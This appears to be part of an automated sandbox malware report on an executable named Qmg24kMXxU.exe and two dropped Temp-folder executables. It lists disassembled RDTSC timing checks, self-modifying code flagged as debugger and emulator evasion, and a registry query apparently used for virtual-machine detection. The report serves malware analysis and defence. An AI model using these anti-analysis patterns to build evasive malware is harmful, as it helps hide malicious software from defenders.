Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF061C second address: 4AF0657 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F95D91784B2h 0x00000008 sub cx, A828h 0x0000000d jmp 00007F95D91784ABh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 movzx ecx, bx 0x00000018 popad 0x00000019 push esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F95D91784AAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0657 second address: 4AF065D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF065D second address: 4AF066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D91784ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF066E second address: 4AF06A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov eax, 2F533F85h 0x00000013 pushfd 0x00000014 jmp 00007F95D925B962h 0x00000019 and cx, 3018h 0x0000001e jmp 00007F95D925B95Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF06A6 second address: 4AF06AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF06AC second address: 4AF06ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov ebx, ecx 0x0000000c pushfd 0x0000000d jmp 00007F95D925B966h 0x00000012 add ecx, 002791A8h 0x00000018 jmp 00007F95D925B95Bh 0x0000001d popfd 0x0000001e popad 0x0000001f mov dword ptr [esp], ebx 0x00000022 pushad 0x00000023 movzx ecx, dx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF06ED second address: 4AF06F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0008 second address: 4AF001E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B962h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF001E second address: 4AF0024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0024 second address: 4AF0052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, E2h 0x00000011 jmp 00007F95D925B964h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0052 second address: 4AF00CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx ebx, si 0x0000000e call 00007F95D91784B0h 0x00000013 mov di, si 0x00000016 pop esi 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F95D91784ADh 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 jmp 00007F95D91784ACh 0x00000026 jmp 00007F95D91784B2h 0x0000002b popad 0x0000002c xchg eax, ecx 0x0000002d jmp 00007F95D91784B0h 0x00000032 push eax 0x00000033 jmp 00007F95D91784ABh 0x00000038 xchg eax, ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF00CF second address: 4AF00D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF00D3 second address: 4AF00D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0117 second address: 4AF011D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF011D second address: 4AF0121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0121 second address: 4AF0135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, 73h 0x0000000e mov edx, 39B2C4F8h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0135 second address: 4AF013A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0A69 second address: 4AF0A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0A6D second address: 4AF0A71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0A71 second address: 4AF0A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0A77 second address: 4AF0A7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0A7D second address: 4AF0A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0A81 second address: 4AF0AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F95D91784B0h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F95D91784B0h 0x00000018 cmp dword ptr [769B459Ch], 05h 0x0000001f pushad 0x00000020 mov esi, 52D43C4Dh 0x00000025 mov ebx, eax 0x00000027 popad 0x00000028 je 00007F964AFD63D9h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0AD8 second address: 4AF0AE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0B4F second address: 4AF0B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0B53 second address: 4AF0BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushfd 0x00000008 jmp 00007F95D925B969h 0x0000000d sbb ah, FFFFFFA6h 0x00000010 jmp 00007F95D925B961h 0x00000015 popfd 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F95D925B95Ch 0x00000020 xor cl, 00000048h 0x00000023 jmp 00007F95D925B95Bh 0x00000028 popfd 0x00000029 movzx esi, di 0x0000002c popad 0x0000002d mov eax, dword ptr [esp+04h] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov edi, 1FC60F42h 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0BBC second address: 4AF0C10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F95D91784ABh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F95D91784B2h 0x0000001c call 00007F95D91784B2h 0x00000021 pop ecx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0C10 second address: 4AF0C94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B960h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F95D925B960h 0x0000000f call 00007F964B0C0893h 0x00000014 push 76952B70h 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov eax, dword ptr [esp+10h] 0x00000024 mov dword ptr [esp+10h], ebp 0x00000028 lea ebp, dword ptr [esp+10h] 0x0000002c sub esp, eax 0x0000002e push ebx 0x0000002f push esi 0x00000030 push edi 0x00000031 mov eax, dword ptr [769B4538h] 0x00000036 xor dword ptr [ebp-04h], eax 0x00000039 xor eax, ebp 0x0000003b push eax 0x0000003c mov dword ptr [ebp-18h], esp 0x0000003f push dword ptr [ebp-08h] 0x00000042 mov eax, dword ptr [ebp-04h] 0x00000045 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004c mov dword ptr [ebp-08h], eax 0x0000004f lea eax, dword ptr [ebp-10h] 0x00000052 mov dword ptr fs:[00000000h], eax 0x00000058 ret 0x00000059 pushad 0x0000005a call 00007F95D925B95Eh 0x0000005f mov si, 6CD1h 0x00000063 pop eax 0x00000064 pushfd 0x00000065 jmp 00007F95D925B967h 0x0000006a add ax, BBBEh 0x0000006f jmp 00007F95D925B969h 0x00000074 popfd 0x00000075 popad 0x00000076 sub esi, esi 0x00000078 push eax 0x00000079 push edx 0x0000007a pushad 0x0000007b movzx eax, di 0x0000007e mov edx, 2063D4B8h 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0C94 second address: 4AF0C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0C9A second address: 4AF0C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0C9E second address: 4AF0CB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-1Ch], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F95D91784ABh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0CB6 second address: 4AF0CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D925B964h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0CE3 second address: 4AF0D18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95D91784ACh 0x00000008 call 00007F95D91784B2h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 test al, al 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F95D91784ACh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0D18 second address: 4AF0D50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F964B0AF5B4h 0x0000000f jmp 00007F95D925B966h 0x00000014 cmp dword ptr [ebp+08h], 00002000h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0D50 second address: 4AF0D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B009B1 second address: 4B00A03 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 5C754D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F95D925B964h 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 jmp 00007F95D925B95Eh 0x00000018 mov edx, esi 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov edi, 547DDE6Ch 0x00000024 jmp 00007F95D925B965h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00A03 second address: 4B00A25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, F1C9h 0x00000011 mov cx, E185h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00A25 second address: 4B00A2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00A2B second address: 4B00A4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F95D91784ADh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00A4E second address: 4B00A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00A53 second address: 4B00A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 0960h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f mov cx, di 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F95D91784B7h 0x0000001a jmp 00007F95D91784B3h 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00A93 second address: 4B00AEA instructions: 0x00000000 rdtsc 0x00000002 mov ch, E1h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test esi, esi 0x00000009 jmp 00007F95D925B95Bh 0x0000000e je 00007F964B0A9266h 0x00000014 pushad 0x00000015 call 00007F95D925B964h 0x0000001a pushad 0x0000001b popad 0x0000001c pop ecx 0x0000001d mov bh, 6Bh 0x0000001f popad 0x00000020 cmp dword ptr [769B459Ch], 05h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jmp 00007F95D925B965h 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00AEA second address: 4B00B15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F964AFDDE38h 0x0000000f pushad 0x00000010 mov eax, 40FA674Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 mov ebx, ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00BAC second address: 4B00BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EDF85D second address: EDF86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 ja 00007F95D91784B2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EDF86C second address: EDF872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EDFAF4 second address: EDFAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EDFFAE second address: EDFFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EDFFB4 second address: EDFFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE19CF second address: EE19D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE19D3 second address: EE1A38 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F95D91784A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F95D91784B7h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F95D91784AAh 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e jl 00007F95D91784A6h 0x00000024 pop eax 0x00000025 jmp 00007F95D91784AFh 0x0000002a popad 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F95D91784B2h 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1A38 second address: EE1A41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1AE7 second address: EE1B9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 4EF3588Ah 0x00000011 jmp 00007F95D91784B1h 0x00000016 push 00000003h 0x00000018 call 00007F95D91784B9h 0x0000001d pop esi 0x0000001e push 00000000h 0x00000020 mov cx, ax 0x00000023 mov ecx, dword ptr [ebp+122D2EECh] 0x00000029 push 00000003h 0x0000002b sub edi, 3196D0CDh 0x00000031 push 8692905Eh 0x00000036 push ebx 0x00000037 push esi 0x00000038 jns 00007F95D91784A6h 0x0000003e pop esi 0x0000003f pop ebx 0x00000040 xor dword ptr [esp], 4692905Eh 0x00000047 mov dx, 307Fh 0x0000004b lea ebx, dword ptr [ebp+124578FBh] 0x00000051 jmp 00007F95D91784B8h 0x00000056 xchg eax, ebx 0x00000057 pushad 0x00000058 jmp 00007F95D91784AAh 0x0000005d pushad 0x0000005e jmp 00007F95D91784AFh 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1CC8 second address: EE1CE9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F95D925B958h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F95D925B962h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1CE9 second address: EE1CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D91784AEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1CFB second address: EE1CFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1CFF second address: EE1D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1D0F second address: EE1D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1D1E second address: EE1D27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1E11 second address: EE1E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1E16 second address: EE1E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1E1B second address: EE1E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D925B95Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e jnl 00007F95D925B95Ch 0x00000014 pop ebx 0x00000015 nop 0x00000016 jc 00007F95D925B95Ah 0x0000001c mov cx, 4400h 0x00000020 push 00000000h 0x00000022 mov di, ax 0x00000025 push F4B906CCh 0x0000002a push eax 0x0000002b push edx 0x0000002c js 00007F95D925B962h 0x00000032 jmp 00007F95D925B95Ch 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	RDTSC instruction interceptor: First address: EE1E66 second address: EE1E6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Special instruction interceptor: First address: 187A86 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Special instruction interceptor: First address: 360841 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Special instruction interceptor: First address: 33C99A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Special instruction interceptor: First address: 3C5A6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Special instruction interceptor: First address: D5DF4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Special instruction interceptor: First address: D5DE86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Special instruction interceptor: First address: F0637E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Special instruction interceptor: First address: F2ED5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Special instruction interceptor: First address: F9C54A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Special instruction interceptor: First address: 120FCFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Special instruction interceptor: First address: 13E7F0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Special instruction interceptor: First address: 13C8F6F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Special instruction interceptor: First address: 1446D2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Special instruction interceptor: First address: D6120E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Memory allocated: 4FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Memory allocated: 5130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Memory allocated: 7130000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
